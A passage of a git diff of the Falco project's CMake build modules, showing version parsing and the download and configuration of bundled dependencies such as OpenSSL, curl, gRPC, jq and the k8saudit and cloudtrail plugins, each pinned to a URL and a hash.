set(FALCO_VERSION "${FALCO_VERSION}+${FALCO_VERSION_BUILD}")
endif()
else()
# A tag has been found: use it as the Falco version
set(FALCO_VERSION "${FALCO_TAG}")
# Remove the starting "v" in case there is one
string(REGEX REPLACE "^v(.*)" "\\1" FALCO_VERSION "${FALCO_TAG}")
endif()
# TODO(leodido) > ensure Falco version is semver before extracting parts Populate partial version variables
string(REGEX MATCH "^(0|[1-9][0-9]*)" FALCO_VERSION_MAJOR "${FALCO_VERSION}")
string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\..*" "\\2" FALCO_VERSION_MINOR "${FALCO_VERSION}")
string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*).*" "\\3" FALCO_VERSION_PATCH
"${FALCO_VERSION}")
string(
REGEX
REPLACE
"^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)-((0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*)\\.(0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*)*).*"
"\\4"
FALCO_VERSION_PRERELEASE
"${FALCO_VERSION}")
if(FALCO_VERSION_PRERELEASE STREQUAL "${FALCO_VERSION}")
set(FALCO_VERSION_PRERELEASE "")
endif()
if(NOT FALCO_VERSION_BUILD)
string(REGEX REPLACE ".*\\+([0-9a-zA-Z-]+(\\.[0-9a-zA-Z-]+)*)" "\\1" FALCO_VERSION_BUILD "${FALCO_VERSION}")
endif()
if(FALCO_VERSION_BUILD STREQUAL "${FALCO_VERSION}")
set(FALCO_VERSION_BUILD "")
endif()
endif()
# Remove the starting "v" in case there is one
string(REGEX REPLACE "^v(.*)" "\\1" FALCO_VERSION "${FALCO_VERSION}")
# TODO(leodido) > ensure Falco version is semver before extracting parts Populate partial version variables
string(REGEX MATCH "^(0|[1-9][0-9]*)" FALCO_VERSION_MAJOR "${FALCO_VERSION}")
string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\..*" "\\2" FALCO_VERSION_MINOR "${FALCO_VERSION}")
string(REGEX REPLACE "^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*).*" "\\3" FALCO_VERSION_PATCH
"${FALCO_VERSION}")
string(
REGEX
REPLACE
"^(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)\\.(0|[1-9][0-9]*)-((0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*)(\\.(0|[1-9][0-9]*|[0-9]*[a-zA-Z-][0-9a-zA-Z-]*))*).*"
"\\5"
FALCO_VERSION_PRERELEASE
"${FALCO_VERSION}")
if(FALCO_VERSION_PRERELEASE STREQUAL "${FALCO_VERSION}")
set(FALCO_VERSION_PRERELEASE "")
endif()
if(NOT FALCO_VERSION_BUILD)
string(REGEX REPLACE ".*\\+([0-9a-zA-Z-]+(\\.[0-9a-zA-Z-]+)*)" "\\1" FALCO_VERSION_BUILD "${FALCO_VERSION}")
endif()
if(FALCO_VERSION_BUILD STREQUAL "${FALCO_VERSION}")
set(FALCO_VERSION_BUILD "")
endif()
message(STATUS "Falco version: ${FALCO_VERSION}")

View File

@@ -0,0 +1,30 @@
if(NOT USE_BUNDLED_DEPS)
find_package(OpenSSL REQUIRED)
message(STATUS "Found openssl: include: ${OPENSSL_INCLUDE_DIR}, lib: ${OPENSSL_LIBRARIES}")
find_program(OPENSSL_BINARY openssl)
if(NOT OPENSSL_BINARY)
message(FATAL_ERROR "Couldn't find the openssl command line in PATH")
else()
message(STATUS "Found openssl: binary: ${OPENSSL_BINARY}")
endif()
else()
set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
set(OPENSSL_BINARY "${OPENSSL_INSTALL_DIR}/bin/openssl")
message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
ExternalProject_Add(
openssl
# START CHANGE for CVE-2017-3735, CVE-2017-3731, CVE-2017-3737, CVE-2017-3738, CVE-2017-3736
URL "https://s3.amazonaws.com/download.draios.com/dependencies/openssl-1.0.2n.tar.gz"
URL_MD5 "13bdc1b1d1ff39b6fd42a255e74676a4"
# END CHANGE for CVE-2017-3735, CVE-2017-3731, CVE-2017-3737, CVE-2017-3738, CVE-2017-3736
CONFIGURE_COMMAND ./config shared --prefix=${OPENSSL_INSTALL_DIR}
BUILD_COMMAND ${CMD_MAKE}
BUILD_IN_SOURCE 1
INSTALL_COMMAND ${CMD_MAKE} install)
endif()

80
cmake/modules/cURL.cmake Normal file
View File

@@ -0,0 +1,80 @@
#
# Copyright (C) 2019 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
if(NOT USE_BUNDLED_DEPS)
find_package(CURL REQUIRED)
message(STATUS "Found CURL: include: ${CURL_INCLUDE_DIR}, lib: ${CURL_LIBRARIES}")
else()
set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl")
set(CURL_INCLUDE_DIR "${CURL_BUNDLE_DIR}/include/")
set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl.a")
if(NOT USE_BUNDLED_OPENSSL)
set(CURL_SSL_OPTION "--with-ssl")
else()
set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}")
message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'")
message(STATUS "Using SSL for curl in '${CURL_SSL_OPTION}'")
endif()
externalproject_add(
curl
DEPENDS openssl
# START CHANGE for CVE-2017-8816, CVE-2017-8817, CVE-2017-8818, CVE-2018-1000007
URL "https://s3.amazonaws.com/download.draios.com/dependencies/curl-7.61.0.tar.bz2"
URL_MD5 "31d0a9f48dc796a7db351898a1e5058a"
# END CHANGE for CVE-2017-8816, CVE-2017-8817, CVE-2017-8818, CVE-2018-1000007
CONFIGURE_COMMAND
./configure
${CURL_SSL_OPTION}
--disable-shared
--enable-optimize
--disable-curldebug
--disable-rt
--enable-http
--disable-ftp
--disable-file
--disable-ldap
--disable-ldaps
--disable-rtsp
--disable-telnet
--disable-tftp
--disable-pop3
--disable-imap
--disable-smb
--disable-smtp
--disable-gopher
--disable-sspi
--disable-ntlm-wb
--disable-tls-srp
--without-winssl
--without-darwinssl
--without-polarssl
--without-cyassl
--without-nss
--without-axtls
--without-ca-path
--without-ca-bundle
--without-libmetalink
--without-librtmp
--without-winidn
--without-libidn2
--without-libpsl
--without-nghttp2
--without-libssh2
--disable-threaded-resolver
--without-brotli
BUILD_COMMAND ${CMD_MAKE}
BUILD_IN_SOURCE 1
INSTALL_COMMAND "")
endif()

View File

@@ -1,30 +0,0 @@
#
# Copyright (C) 2022 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
function(copy_files_to_build_dir source_files targetsuffix)
set(build_files)
foreach(file_path ${source_files})
get_filename_component(trace_file ${file_path} NAME)
list(APPEND build_files ${CMAKE_CURRENT_BINARY_DIR}/${trace_file})
endforeach()
add_custom_target(copy-files-${targetsuffix} ALL
DEPENDS ${build_files})
add_custom_command(OUTPUT ${build_files}
COMMAND ${CMAKE_COMMAND} -E copy_if_different ${source_files} ${CMAKE_CURRENT_BINARY_DIR}
DEPENDS ${source_files})
endfunction()

View File

@@ -1,32 +0,0 @@
#
# Copyright (C) 2022 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
#
# cpp-httplib (https://github.com/yhirose/cpp-httplib)
#
if(CPPHTTPLIB_INCLUDE)
# we already have cpp-httplib
else()
set(CPPHTTPLIB_SRC "${PROJECT_BINARY_DIR}/cpp-httplib-prefix/src/cpp-httplib")
set(CPPHTTPLIB_INCLUDE "${CPPHTTPLIB_SRC}")
message(STATUS "Using bundled cpp-httplib in '${CPPHTTPLIB_SRC}'")
ExternalProject_Add(cpp-httplib
PREFIX "${PROJECT_BINARY_DIR}/cpp-httplib-prefix"
URL "https://github.com/yhirose/cpp-httplib/archive/refs/tags/v0.10.4.tar.gz"
URL_HASH "SHA256=7719ff9f309c807dd8a574048764836b6a12bcb7d6ae9e129e7e4289cfdb4bd4"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND "")
endif()

View File

@@ -1,23 +0,0 @@
#
# Copyright (C) 2022 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
set(CXXOPTS_SRC "${PROJECT_BINARY_DIR}/cxxopts-prefix/src/cxxopts/")
set(CXXOPTS_INCLUDE_DIR "${CXXOPTS_SRC}/include")
ExternalProject_Add(
cxxopts
URL "https://github.com/jarro2783/cxxopts/archive/refs/tags/v3.0.0.tar.gz"
URL_HASH "SHA256=36f41fa2a46b3c1466613b63f3fa73dc24d912bc90d667147f1e43215a8c6d00"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND "")

View File

@@ -1,48 +0,0 @@
#
# Copyright (C) 2022 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
set(DRIVER_CMAKE_SOURCE_DIR "${CMAKE_CURRENT_SOURCE_DIR}/cmake/modules/driver-repo")
set(DRIVER_CMAKE_WORKING_DIR "${CMAKE_BINARY_DIR}/driver-repo")
file(MAKE_DIRECTORY ${DRIVER_CMAKE_WORKING_DIR})
if(DRIVER_SOURCE_DIR)
set(DRIVER_VERSION "0.0.0-local")
message(STATUS "Using local version for driver: '${DRIVER_SOURCE_DIR}'")
else()
# DRIVER_VERSION accepts a git reference (branch name, commit hash, or tag) to the falcosecurity/libs repository
# which contains the driver source code under the `/driver` directory.
# The chosen driver version must be compatible with the given FALCOSECURITY_LIBS_VERSION.
# In case you want to test against another driver version (or branch, or commit) just pass the variable -
# ie., `cmake -DDRIVER_VERSION=dev ..`
if(NOT DRIVER_VERSION)
set(DRIVER_VERSION "2.0.0+driver")
set(DRIVER_CHECKSUM "SHA256=e616dfe27f95670a63150339ea2484937c5ce9b7e42d176de86c3f61481ae676")
endif()
# cd /path/to/build && cmake /path/to/source
execute_process(COMMAND "${CMAKE_COMMAND}" -DDRIVER_VERSION=${DRIVER_VERSION} -DDRIVER_CHECKSUM=${DRIVER_CHECKSUM}
${DRIVER_CMAKE_SOURCE_DIR} WORKING_DIRECTORY ${DRIVER_CMAKE_WORKING_DIR})
# cmake --build .
execute_process(COMMAND "${CMAKE_COMMAND}" --build . WORKING_DIRECTORY "${DRIVER_CMAKE_WORKING_DIR}")
set(DRIVER_SOURCE_DIR "${DRIVER_CMAKE_WORKING_DIR}/driver-prefix/src/driver")
endif()
add_definitions(-D_GNU_SOURCE)
set(DRIVER_NAME "falco")
set(DRIVER_PACKAGE_NAME "falco")
set(DRIVER_COMPONENT_NAME "falco-driver")
add_subdirectory(${DRIVER_SOURCE_DIR} ${PROJECT_BINARY_DIR}/driver)

View File

@@ -1,28 +0,0 @@
#
# Copyright (C) 2020 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
cmake_minimum_required(VERSION 3.5.1)
project(falcosecurity-libs-repo NONE)
include(ExternalProject)
message(STATUS "Libs version: ${FALCOSECURITY_LIBS_VERSION}")
ExternalProject_Add(
falcosecurity-libs
URL "https://github.com/falcosecurity/libs/archive/${FALCOSECURITY_LIBS_VERSION}.tar.gz"
URL_HASH "${FALCOSECURITY_LIBS_CHECKSUM}"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND ""
TEST_COMMAND ""
)

View File

@@ -1,86 +0,0 @@
#
# Copyright (C) 2021 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
set(FALCOSECURITY_LIBS_CMAKE_SOURCE_DIR "${CMAKE_CURRENT_SOURCE_DIR}/cmake/modules/falcosecurity-libs-repo")
set(FALCOSECURITY_LIBS_CMAKE_WORKING_DIR "${CMAKE_BINARY_DIR}/falcosecurity-libs-repo")
file(MAKE_DIRECTORY ${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR})
# explicitly disable the bundled driver, since we pull it separately
set(USE_BUNDLED_DRIVER OFF CACHE BOOL "")
if(FALCOSECURITY_LIBS_SOURCE_DIR)
set(FALCOSECURITY_LIBS_VERSION "0.0.0-local")
message(STATUS "Using local version of falcosecurity/libs: '${FALCOSECURITY_LIBS_SOURCE_DIR}'")
else()
# FALCOSECURITY_LIBS_VERSION accepts a git reference (branch name, commit hash, or tag) to the falcosecurity/libs repository.
# In case you want to test against another falcosecurity/libs version (or branch, or commit) just pass the variable -
# ie., `cmake -DFALCOSECURITY_LIBS_VERSION=dev ..`
if(NOT FALCOSECURITY_LIBS_VERSION)
set(FALCOSECURITY_LIBS_VERSION "0.7.0")
set(FALCOSECURITY_LIBS_CHECKSUM "SHA256=3adc1620c0e830554a54cdd486158dc2c0c40552e113785b70fbbc99edb7d96f")
endif()
# cd /path/to/build && cmake /path/to/source
execute_process(COMMAND "${CMAKE_COMMAND}" -DFALCOSECURITY_LIBS_VERSION=${FALCOSECURITY_LIBS_VERSION} -DFALCOSECURITY_LIBS_CHECKSUM=${FALCOSECURITY_LIBS_CHECKSUM}
${FALCOSECURITY_LIBS_CMAKE_SOURCE_DIR} WORKING_DIRECTORY ${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR})
# cmake --build .
execute_process(COMMAND "${CMAKE_COMMAND}" --build . WORKING_DIRECTORY "${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR}")
set(FALCOSECURITY_LIBS_SOURCE_DIR "${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR}/falcosecurity-libs-prefix/src/falcosecurity-libs")
endif()
set(LIBS_PACKAGE_NAME "falcosecurity")
add_definitions(-D_GNU_SOURCE)
add_definitions(-DHAS_CAPTURE)
if(MUSL_OPTIMIZED_BUILD)
add_definitions(-DMUSL_OPTIMIZED)
endif()
set(SCAP_BPF_PROBE_ENV_VAR_NAME "FALCO_BPF_PROBE")
set(SCAP_HOST_ROOT_ENV_VAR_NAME "HOST_ROOT")
if(NOT LIBSCAP_DIR)
set(LIBSCAP_DIR "${FALCOSECURITY_LIBS_SOURCE_DIR}")
endif()
set(LIBSINSP_DIR "${FALCOSECURITY_LIBS_SOURCE_DIR}")
# configure gVisor support
set(BUILD_LIBSCAP_GVISOR ${BUILD_FALCO_GVISOR} CACHE BOOL "")
# explicitly disable the tests/examples of this dependency
set(CREATE_TEST_TARGETS OFF CACHE BOOL "")
set(BUILD_LIBSCAP_EXAMPLES OFF CACHE BOOL "")
set(USE_BUNDLED_TBB ON CACHE BOOL "")
set(USE_BUNDLED_B64 ON CACHE BOOL "")
set(USE_BUNDLED_JSONCPP ON CACHE BOOL "")
list(APPEND CMAKE_MODULE_PATH "${FALCOSECURITY_LIBS_SOURCE_DIR}/cmake/modules")
include(CheckSymbolExists)
check_symbol_exists(strlcpy "string.h" HAVE_STRLCPY)
if(HAVE_STRLCPY)
message(STATUS "Existing strlcpy found, will *not* use local definition by setting -DHAVE_STRLCPY.")
add_definitions(-DHAVE_STRLCPY)
else()
message(STATUS "No strlcpy found, will use local definition")
endif()
include(driver)
include(libscap)
include(libsinsp)

122
cmake/modules/gRPC.cmake Normal file
View File

@@ -0,0 +1,122 @@
#
# Copyright (C) 2019 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
if(NOT USE_BUNDLED_DEPS)
# zlib
include(FindZLIB)
set(ZLIB_INCLUDE "${ZLIB_INCLUDE_DIRS}")
set(ZLIB_LIB "${ZLIB_LIBRARIES}")
if(ZLIB_INCLUDE AND ZLIB_LIB)
message(STATUS "Found zlib: include: ${ZLIB_INCLUDE}, lib: ${ZLIB_LIB}")
endif()
# c-ares
find_path(CARES_INCLUDE NAMES ares.h)
find_library(CARES_LIB NAMES libcares.so)
if(CARES_INCLUDE AND CARES_LIB)
message(STATUS "Found c-ares: include: ${CARES_INCLUDE}, lib: ${CARES_LIB}")
else()
message(FATAL_ERROR "Couldn't find system c-ares")
endif()
# protobuf
find_program(PROTOC NAMES protoc)
find_path(PROTOBUF_INCLUDE NAMES google/protobuf/message.h)
find_library(PROTOBUF_LIB NAMES libprotobuf.so)
if(PROTOC
AND PROTOBUF_INCLUDE
AND PROTOBUF_LIB)
message(STATUS "Found protobuf: compiler: ${PROTOC}, include: ${PROTOBUF_INCLUDE}, lib: ${PROTOBUF_LIB}")
else()
message(FATAL_ERROR "Couldn't find system protobuf")
endif()
# gRPC todo(fntlnz, leodido): check that gRPC version is greater or equal than 1.8.0
find_path(GRPCXX_INCLUDE NAMES grpc++/grpc++.h)
if(GRPCXX_INCLUDE)
set(GRPC_INCLUDE ${GRPCXX_INCLUDE})
else()
find_path(GRPCPP_INCLUDE NAMES grpcpp/grpcpp.h)
set(GRPC_INCLUDE ${GRPCPP_INCLUDE})
add_definitions(-DGRPC_INCLUDE_IS_GRPCPP=1)
endif()
find_library(GRPC_LIB NAMES grpc)
find_library(GRPCPP_LIB NAMES grpc++)
if(GRPC_INCLUDE
AND GRPC_LIB
AND GRPCPP_LIB)
message(STATUS "Found grpc: include: ${GRPC_INCLUDE}, C lib: ${GRPC_LIB}, C++ lib: ${GRPCPP_LIB}")
else()
message(FATAL_ERROR "Couldn't find system grpc")
endif()
find_program(GRPC_CPP_PLUGIN grpc_cpp_plugin)
if(NOT GRPC_CPP_PLUGIN)
message(FATAL_ERROR "System grpc_cpp_plugin not found")
endif()
else()
find_package(PkgConfig)
if(NOT PKG_CONFIG_FOUND)
message(FATAL_ERROR "pkg-config binary not found")
endif()
message(STATUS "Found pkg-config executable: ${PKG_CONFIG_EXECUTABLE}")
set(GRPC_SRC "${PROJECT_BINARY_DIR}/grpc-prefix/src/grpc")
set(GRPC_INCLUDE "${GRPC_SRC}/include")
set(GRPC_LIBS_ABSOLUTE "${GRPC_SRC}/libs/opt")
set(GRPC_LIB "${GRPC_LIBS_ABSOLUTE}/libgrpc.a")
set(GRPCPP_LIB "${GRPC_LIBS_ABSOLUTE}/libgrpc++.a")
set(GRPC_CPP_PLUGIN "${GRPC_SRC}/bins/opt/grpc_cpp_plugin")
# we tell gRPC to compile protobuf for us because when a gRPC package is not available, like on CentOS, it's very
# likely that protobuf will be very outdated
set(PROTOBUF_INCLUDE "${GRPC_SRC}/third_party/protobuf/src")
set(PROTOC "${PROTOBUF_INCLUDE}/protoc")
set(PROTOBUF_LIB "${GRPC_LIBS_ABSOLUTE}/protobuf/libprotobuf.a")
# we tell gRPC to compile zlib for us because when a gRPC package is not available, like on CentOS, it's very likely
# that zlib will be very outdated
set(ZLIB_INCLUDE "${GRPC_SRC}/third_party/zlib")
set(ZLIB_LIB "${GRPC_LIBS_ABSOLUTE}/libz.a")
message(STATUS "Using bundled gRPC in '${GRPC_SRC}'")
message(
STATUS
"Bundled gRPC comes with protobuf: compiler: ${PROTOC}, include: ${PROTOBUF_INCLUDE}, lib: ${PROTOBUF_LIB}")
message(STATUS "Bundled gRPC comes with zlib: include: ${ZLIB_INCLUDE}, lib: ${ZLIB_LIB}}")
message(STATUS "Bundled gRPC comes with gRPC C++ plugin: include: ${GRPC_CPP_PLUGIN}")
get_filename_component(PROTOC_DIR ${PROTOC} PATH)
ExternalProject_Add(
grpc
DEPENDS openssl
GIT_REPOSITORY https://github.com/grpc/grpc.git
GIT_TAG v1.25.0
GIT_SUBMODULES "third_party/protobuf third_party/zlib third_party/cares/cares"
BUILD_IN_SOURCE 1
BUILD_BYPRODUCTS ${GRPC_LIB} ${GRPCPP_LIB}
INSTALL_COMMAND ""
CONFIGURE_COMMAND ""
BUILD_COMMAND
CFLAGS=-Wno-implicit-fallthrough
HAS_SYSTEM_ZLIB=false
HAS_SYSTEM_PROTOBUF=false
HAS_SYSTEM_CARES=false
PKG_CONFIG_PATH=${OPENSSL_BUNDLE_DIR}
PKG_CONFIG=${PKG_CONFIG_EXECUTABLE}
PATH=${PROTOC_DIR}:$ENV{PATH}
make
static_cxx
static_c
grpc_cpp_plugin)
endif()

35
cmake/modules/jq.cmake Normal file
View File

@@ -0,0 +1,35 @@
#
# Copyright (C) 2019 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
if(NOT USE_BUNDLED_DEPS)
find_path(JQ_INCLUDE jq.h PATH_SUFFIXES jq)
find_library(JQ_LIB NAMES jq)
if(JQ_INCLUDE AND JQ_LIB)
message(STATUS "Found jq: include: ${JQ_INCLUDE}, lib: ${JQ_LIB}")
else()
message(FATAL_ERROR "Couldn't find system jq")
endif()
else()
set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
message(STATUS "Using bundled jq in '${JQ_SRC}'")
set(JQ_INCLUDE "${JQ_SRC}")
set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
ExternalProject_Add(
jq
URL "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-1.5.tar.gz"
URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
BUILD_IN_SOURCE 1
PATCH_COMMAND curl -L https://github.com/stedolan/jq/commit/8eb1367ca44e772963e704a700ef72ae2e12babd.patch | patch
INSTALL_COMMAND "")
endif()

View File

@@ -1,27 +0,0 @@
#
# Copyright (C) 2020 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
set(LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml")
set(LIBYAML_INSTALL_DIR "${LIBYAML_SRC}/target")
message(STATUS "Using bundled libyaml in '${LIBYAML_SRC}'")
set(LIBYAML_LIB "${LIBYAML_SRC}/src/.libs/libyaml.a")
externalproject_add(
libyaml
URL "https://github.com/yaml/libyaml/releases/download/0.2.5/yaml-0.2.5.tar.gz"
URL_HASH "SHA256=c642ae9b75fee120b2d96c712538bd2cf283228d2337df2cf2988e3c02678ef4"
CONFIGURE_COMMAND ./configure --prefix=${LIBYAML_INSTALL_DIR} CFLAGS=-fPIC CPPFLAGS=-fPIC --enable-static=true --enable-shared=false
BUILD_COMMAND ${CMD_MAKE}
BUILD_IN_SOURCE 1
BUILD_BYPRODUCTS ${LIBYAML_LIB}
INSTALL_COMMAND ${CMD_MAKE} install
)

View File

@@ -1,91 +0,0 @@
#
# Copyright (C) 2021 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
include(ExternalProject)
string(TOLOWER ${CMAKE_HOST_SYSTEM_NAME} PLUGINS_SYSTEM_NAME)
if(NOT DEFINED PLUGINS_COMPONENT_NAME)
set(PLUGINS_COMPONENT_NAME "${CMAKE_PROJECT_NAME}-plugins")
endif()
set(PLUGIN_K8S_AUDIT_VERSION "0.3.0")
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
set(PLUGIN_K8S_AUDIT_HASH "214915fc2a61d147d64aaf4cb29c3fc6a513eda621dad1dfe77f2fd7099b31e1")
else() # aarch64
set(PLUGIN_K8S_AUDIT_HASH "d9b4610714df581043db76ecb4caf3a41aae5494cf61ab8740a3749bfac8457e")
endif()
ExternalProject_Add(
k8saudit-plugin
URL "https://download.falco.org/plugins/stable/k8saudit-${PLUGIN_K8S_AUDIT_VERSION}-${PLUGINS_SYSTEM_NAME}-${CMAKE_HOST_SYSTEM_PROCESSOR}.tar.gz"
URL_HASH "SHA256=${PLUGIN_K8S_AUDIT_HASH}"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND "")
install(FILES "${PROJECT_BINARY_DIR}/k8saudit-plugin-prefix/src/k8saudit-plugin/libk8saudit.so" DESTINATION "${FALCO_PLUGINS_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
ExternalProject_Add(
k8saudit-rules
URL "https://download.falco.org/plugins/stable/k8saudit-rules-${PLUGIN_K8S_AUDIT_VERSION}.tar.gz"
URL_HASH "SHA256=3913a8c6095794c7de6a97a2a64953a0fa4f87caab014d11b2c8f9221eb77591"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND "")
install(FILES "${PROJECT_BINARY_DIR}/k8saudit-rules-prefix/src/k8saudit-rules/k8s_audit_rules.yaml" DESTINATION "${FALCO_ETC_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
set(PLUGIN_CLOUDTRAIL_VERSION "0.5.0")
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
set(PLUGIN_CLOUDTRAIL_HASH "ca6c0d087b37090145ef0c92f10d1dd32bb2a08c7bae83cc6fb7a1ba712f3182")
else() # aarch64
set(PLUGIN_CLOUDTRAIL_HASH "f6e12d3bd16ae0f504ed2bb56d13531d15b7d55beb1b63932cbe603cff941372")
endif()
ExternalProject_Add(
cloudtrail-plugin
URL "https://download.falco.org/plugins/stable/cloudtrail-${PLUGIN_CLOUDTRAIL_VERSION}-${PLUGINS_SYSTEM_NAME}-${CMAKE_HOST_SYSTEM_PROCESSOR}.tar.gz"
URL_HASH "SHA256=${PLUGIN_CLOUDTRAIL_HASH}"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND "")
install(FILES "${PROJECT_BINARY_DIR}/cloudtrail-plugin-prefix/src/cloudtrail-plugin/libcloudtrail.so" DESTINATION "${FALCO_PLUGINS_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
ExternalProject_Add(
cloudtrail-rules
URL "https://download.falco.org/plugins/stable/cloudtrail-rules-${PLUGIN_CLOUDTRAIL_VERSION}.tar.gz"
URL_HASH "SHA256=7f88fb6b530f8ee739b65d38a36c69cdc70398576299b90118bd7324dbdb5f46"
CONFIGURE_COMMAND ""
